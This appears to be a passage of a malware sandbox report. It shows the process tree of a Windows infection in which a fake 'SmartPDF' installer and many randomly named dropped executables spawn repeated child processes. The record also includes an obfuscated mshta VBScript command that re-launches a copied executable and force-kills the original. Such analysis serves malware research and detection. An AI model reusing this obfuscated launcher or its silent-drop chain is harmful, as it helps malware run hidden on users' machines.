C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:5912
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:6132
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:448
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:1832
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:6432
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:4212
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:6752
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:4128
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:1004
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:6908
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:7768
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:5040
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:7704
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:428
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:6936
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6936 -s 284⤵
- Program crash
PID:8616
-
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:7420
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:9156
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:8388
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:5776
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:4860
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:3144
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:2004
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:9556
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:9788
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:9628
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:8084
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:3904
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:5300
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:4252
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:6872
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:428
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:3264
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:11780
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:11388
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:10580
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:13076
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:13608
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:13520
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:15924
-
-
-
C:\Users\Admin\Documents\otWUGH9EenDixQqqcD2rE1NG.exe"C:\Users\Admin\Documents\otWUGH9EenDixQqqcD2rE1NG.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4652
-
-
C:\Users\Admin\Documents\ng6veWmm679rlzMzSQ0ieyBG.exe"C:\Users\Admin\Documents\ng6veWmm679rlzMzSQ0ieyBG.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4672 -
C:\Users\Admin\AppData\Roaming\8495880.exe"C:\Users\Admin\AppData\Roaming\8495880.exe"3⤵PID:5796
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5796 -s 23204⤵
- Program crash
PID:7688
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5796 -s 23204⤵
- Program crash
PID:8000
-
-
-
C:\Users\Admin\AppData\Roaming\5861745.exe"C:\Users\Admin\AppData\Roaming\5861745.exe"3⤵PID:5380
-
-
C:\Users\Admin\AppData\Roaming\6507808.exe"C:\Users\Admin\AppData\Roaming\6507808.exe"3⤵PID:1308
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 22724⤵
- Program crash
PID:10124
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 22724⤵
- Program crash
PID:4168
-
-
-
C:\Users\Admin\AppData\Roaming\1849163.exe"C:\Users\Admin\AppData\Roaming\1849163.exe"3⤵PID:3784
-
-
C:\Users\Admin\AppData\Roaming\6524645.exe"C:\Users\Admin\AppData\Roaming\6524645.exe"3⤵PID:5968
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵PID:5320
-
-
-
-
C:\Users\Admin\Documents\lCPJMVNQfOzCxdm3oMsrTrVF.exe"C:\Users\Admin\Documents\lCPJMVNQfOzCxdm3oMsrTrVF.exe"2⤵
- Executes dropped EXE
PID:2364
-
-
C:\Users\Admin\Documents\BYj64g1wT7ZfqNsMZRuUO21T.exe"C:\Users\Admin\Documents\BYj64g1wT7ZfqNsMZRuUO21T.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:704 -
C:\Users\Admin\Documents\BYj64g1wT7ZfqNsMZRuUO21T.exe"C:\Users\Admin\Documents\BYj64g1wT7ZfqNsMZRuUO21T.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:5576
-
-
-
C:\Users\Admin\Documents\g4WNZ_ZaNiU1L4azYl18wEZ4.exe"C:\Users\Admin\Documents\g4WNZ_ZaNiU1L4azYl18wEZ4.exe"2⤵
- Executes dropped EXE
PID:4400 -
C:\Users\Admin\AppData\Local\Temp\is-RM6KN.tmp\g4WNZ_ZaNiU1L4azYl18wEZ4.tmp"C:\Users\Admin\AppData\Local\Temp\is-RM6KN.tmp\g4WNZ_ZaNiU1L4azYl18wEZ4.tmp" /SL5="$102D8,138429,56832,C:\Users\Admin\Documents\g4WNZ_ZaNiU1L4azYl18wEZ4.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:2908 -
C:\Users\Admin\AppData\Local\Temp\is-5E57Q.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-5E57Q.tmp\Setup.exe" /Verysilent4⤵PID:5684
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"5⤵PID:1128
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:3080
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:4136
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:3988
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:1520
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6836
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:7484
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8072
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6704
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8912
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8912 -s 1647⤵
- Program crash
PID:4700
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8100
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8560
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8800
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:4592
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:9644
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:9660
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:9840
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:9420
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:2808
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:9436
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:1364
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:11164
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:4388
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:9072
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:12036
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:10028
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:13224
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:12112
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:13180
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:10788
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:3408
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"5⤵PID:6168
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent5⤵PID:6296
-
C:\Users\Admin\AppData\Local\Temp\is-EUFB0.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-EUFB0.tmp\stats.tmp" /SL5="$402B6,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent6⤵PID:6704
-
C:\Users\Admin\AppData\Local\Temp\is-F6H3L.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-F6H3L.tmp\Setup.exe" /Verysilent7⤵PID:6404
-
C:\Users\Admin\Documents\y9e6V1oQo64x6fICVJDtOCKC.exe"C:\Users\Admin\Documents\y9e6V1oQo64x6fICVJDtOCKC.exe"8⤵PID:5088
-
-
C:\Users\Admin\Documents\pUyTbL45jcU_osZqm_zbrD6x.exe"C:\Users\Admin\Documents\pUyTbL45jcU_osZqm_zbrD6x.exe"8⤵PID:8576
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\KBAvfsr.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\KBAvfsr.exe"9⤵PID:7556
-
-
-
C:\Users\Admin\Documents\RwERd13M7WPFjD0xlQAEzi3X.exe"C:\Users\Admin\Documents\RwERd13M7WPFjD0xlQAEzi3X.exe"8⤵PID:8220
-
-
C:\Users\Admin\Documents\WHfG_V1Q_ucsxWKNtU_KPC6I.exe"C:\Users\Admin\Documents\WHfG_V1Q_ucsxWKNtU_KPC6I.exe"8⤵PID:6712
-
C:\Users\Admin\AppData\Local\Temp\is-AIDM4.tmp\WHfG_V1Q_ucsxWKNtU_KPC6I.tmp"C:\Users\Admin\AppData\Local\Temp\is-AIDM4.tmp\WHfG_V1Q_ucsxWKNtU_KPC6I.tmp" /SL5="$8039C,138429,56832,C:\Users\Admin\Documents\WHfG_V1Q_ucsxWKNtU_KPC6I.exe"9⤵PID:7204
-
-
-
C:\Users\Admin\Documents\QtcJIWVnvoG2BBEM9XO7612J.exe"C:\Users\Admin\Documents\QtcJIWVnvoG2BBEM9XO7612J.exe"8⤵PID:6096
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\Documents\QtcJIWVnvoG2BBEM9XO7612J.exe"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if """"== """" for %m in ( ""C:\Users\Admin\Documents\QtcJIWVnvoG2BBEM9XO7612J.exe"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))9⤵PID:9256
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\Documents\QtcJIWVnvoG2BBEM9XO7612J.exe" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if ""== "" for %m in ("C:\Users\Admin\Documents\QtcJIWVnvoG2BBEM9XO7612J.exe" ) do taskkill /iM "%~NXm" -F10⤵PID:4460
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "QtcJIWVnvoG2BBEM9XO7612J.exe" -F11⤵
- Kills process with taskkill
PID:7620
-
-
-
-
-
C:\Users\Admin\Documents\PMFC8fmI9u6drPPJVZ9d2dnO.exe"C:\Users\Admin\Documents\PMFC8fmI9u6drPPJVZ9d2dnO.exe"8⤵PID:8272
-
-
C:\Users\Admin\Documents\pRVhrhJHe62c2YzW_t60pLTi.exe"C:\Users\Admin\Documents\pRVhrhJHe62c2YzW_t60pLTi.exe"8⤵PID:8264
-
-
C:\Users\Admin\Documents\r4rHo28vARZlpSFa2Z4kRZ_8.exe"C:\Users\Admin\Documents\r4rHo28vARZlpSFa2Z4kRZ_8.exe"8⤵PID:7948
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7948 -s 2729⤵
- Program crash
PID:8092
-
-
-
C:\Users\Admin\Documents\rsS77aUNryqVbomWbl3bYJuP.exe"C:\Users\Admin\Documents\rsS77aUNryqVbomWbl3bYJuP.exe"8⤵PID:428
-
C:\Users\Admin\Documents\rsS77aUNryqVbomWbl3bYJuP.exe"C:\Users\Admin\Documents\rsS77aUNryqVbomWbl3bYJuP.exe" -u9⤵PID:10796
-
-
-
C:\Users\Admin\Documents\tAQxBMbMhRGuTyLA913p9Psg.exe"C:\Users\Admin\Documents\tAQxBMbMhRGuTyLA913p9Psg.exe"8⤵PID:7644
-
-
C:\Users\Admin\Documents\QgrvupyjdjIUeASpTJ3CObcP.exe"C:\Users\Admin\Documents\QgrvupyjdjIUeASpTJ3CObcP.exe"8⤵PID:8068
-
-
C:\Users\Admin\Documents\leULjcqvbGjIxigHXBdSWJ6F.exe"C:\Users\Admin\Documents\leULjcqvbGjIxigHXBdSWJ6F.exe"8⤵PID:7796
-
C:\Users\Admin\Documents\leULjcqvbGjIxigHXBdSWJ6F.exe"C:\Users\Admin\Documents\leULjcqvbGjIxigHXBdSWJ6F.exe"9⤵PID:3884
-
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe"C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe"8⤵PID:5700
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:1576
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:9860
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:9944
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:7024
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:6888
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:9372
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:6848
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:10504
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:11856
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:11724
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:11580
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:5624
-
-
C:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exeC:\Users\Admin\Documents\jFqEnsXqEeaLClVv38IYwj7g.exe9⤵PID:7164
-
-
-
C:\Users\Admin\Documents\xeFPV6XxRb_BNd2W9zdl6szv.exe"C:\Users\Admin\Documents\xeFPV6XxRb_BNd2W9zdl6szv.exe"8⤵PID:6880
-
C:\Users\Admin\Documents\xeFPV6XxRb_BNd2W9zdl6szv.exe"C:\Users\Admin\Documents\xeFPV6XxRb_BNd2W9zdl6szv.exe"9⤵PID:5608
-
-
-
C:\Users\Admin\Documents\Ohfvah_wNS12IHpmAkP6cQIU.exe"C:\Users\Admin\Documents\Ohfvah_wNS12IHpmAkP6cQIU.exe"8⤵PID:6284
-
C:\Users\Admin\Documents\Ohfvah_wNS12IHpmAkP6cQIU.exe"C:\Users\Admin\Documents\Ohfvah_wNS12IHpmAkP6cQIU.exe"9⤵PID:7608
-
-
C:\Users\Admin\Documents\Ohfvah_wNS12IHpmAkP6cQIU.exe"C:\Users\Admin\Documents\Ohfvah_wNS12IHpmAkP6cQIU.exe"9⤵PID:3928
-
-
C:\Users\Admin\Documents\Ohfvah_wNS12IHpmAkP6cQIU.exe"C:\Users\Admin\Documents\Ohfvah_wNS12IHpmAkP6cQIU.exe"9⤵PID:8552
-
-
-
C:\Users\Admin\Documents\oESzKnCNmLAOoKl3l5UJgaob.exe"C:\Users\Admin\Documents\oESzKnCNmLAOoKl3l5UJgaob.exe"8⤵PID:7260
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe"C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe"8⤵PID:7772
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:6952
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:9936
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:2120
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:9488
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:9180
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:9548
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:7676
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:10332
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:10272
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:10812
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:8608
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:10680
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:6908
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:3260
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:11244
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:3168
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:13516
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:13824
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:8296
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:5528
-
-
C:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exeC:\Users\Admin\Documents\n1dlGpFjlJwecN7N95PNJpLW.exe9⤵PID:14092
-
-
-
C:\Users\Admin\Documents\4IE50sF7IiF4uP5k_ZHGHyOn.exe"C:\Users\Admin\Documents\4IE50sF7IiF4uP5k_ZHGHyOn.exe"8⤵PID:6552
-
-
